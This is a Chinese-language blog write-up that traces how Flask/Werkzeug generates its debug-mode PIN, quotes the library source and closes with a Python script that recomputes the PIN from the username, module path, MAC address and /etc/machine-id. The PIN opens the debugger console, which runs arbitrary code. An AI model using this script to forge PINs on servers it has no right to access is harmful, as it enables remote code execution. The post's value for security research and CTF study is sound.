FLASK PIN DEBUG

Flask 在debug模式下会生成PIN码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@zo1ro-ubuntu:/var/www/html/flask# python app.py

\* Serving Flask app "app" (lazy loading)

\* Environment: production

WARNING: Do not use the development server in a production environment.

Use a production WSGI server instead.

\* Debug mode: on

\* Running on http://0.0.0.0:2333/ (Press CTRL+C to quit)

\* Restarting with stat

\* Debugger is active!

\* Debugger PIN: 251-181-066

通过PIN 码,我们可以在报错页面执行任意python代码

问题就出在了这个pin码的生成机制上,在同一台机子上多次启动同一个Flask应用时,会发现这个pin码是固定的。是由一些固定的值生成的,不如直接来看看Flask源码中是怎么写的

测试环境为:

· Ubuntu 16.04

· python 2.7

· Flask 0.10.1

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: utf-8 -*-

from flask import Flask

app = Flask(__name__)



@app.route("/")

def hello():

return 'hello world!'



if __name__ == "__main__":

app.run(host="0.0.0.0", port=2333, debug=True)

Pycharm下debug断点

run 函数跟进show_server_banner

跟进run_simple

跟进DebuggedApplication

发现pin_security ,pin_logging 两个参数

直接搜索pin参数发现get_pin_and_cookie_name函数

应该就是PIN码生成的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None

# Pin was explicitly disabled
if pin == 'off':
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin

modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))

try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv, cookie_name

Debug后发现return的rv变量就是生成的pin码

可以看到

username就是启动这个Flask的用户

modname为flask.app

getattr(app, ‘name‘, getattr(app.class, ‘name‘))为Flask

getattr(mod, ‘file‘, None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv

def _generate():
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open(filename, 'rb') as f:
return f.readline().strip()
except IOError:
continue

# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
if (wrType == wr.REG_SZ):
return machineGuid.encode('utf-8')
else:
return machineGuid
except WindowsError:
pass

_machine_id = rv = _generate()
return rv

首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回

假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值,并返回

这里就是etc/machine-id文件下的值

这样,当这6个值我们可以获取到时,就可以推算出生成的PIN码,引发任意代码执行

Username——》root

Modname——》flask.app

getattr(app, ‘name‘, getattr(app.class, ‘name‘))——》Flask

getattr(mod, ‘file‘, None)——》/usr/local/lib/python2.7/dist-packages/flask/app.pyc

(通过debug下发现的启动位置信息)

(这里有个坑,python在运行一次文件以后会将运行内存信息存储到一个pyc文件中,在下次调用程序的时候直接调用pyc文件以加快调试速度)

str(uuid.getnode())——》52230783609

(sys/class/net/eth0/address)网卡信息位置,一般为eth0,我的虚拟机下为ens33

get_machine_id()——》340ae5fcfaaa41f69f10045a4417e24d

计算出PIN

251-181-066

调试,成功进入debug

撒花~~

附源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import hashlib

def get_pin_and_cookie_name():

rv = None
num = None
probably_public_bits = [
#username,
#modname,
#getattr(app, '__name__', getattr(app.__class__, '__name__')),
#getattr(mod, '__file__', None),
#str(uuid.getnode()),网卡信息转10进制
#get_machine_id(),注册表信息
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.


h = hashlib.md5()
for bit in probably_public_bits:
if not bit:
continue
if isinstance(bit,str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv



print get_pin_and_cookie_name()

参考链接

flask的debug模式下,网页输入pin码进行调试

Flask debug 模式 PIN 码生成机制安全性研究笔记

-------------本文结束 感谢阅读-------------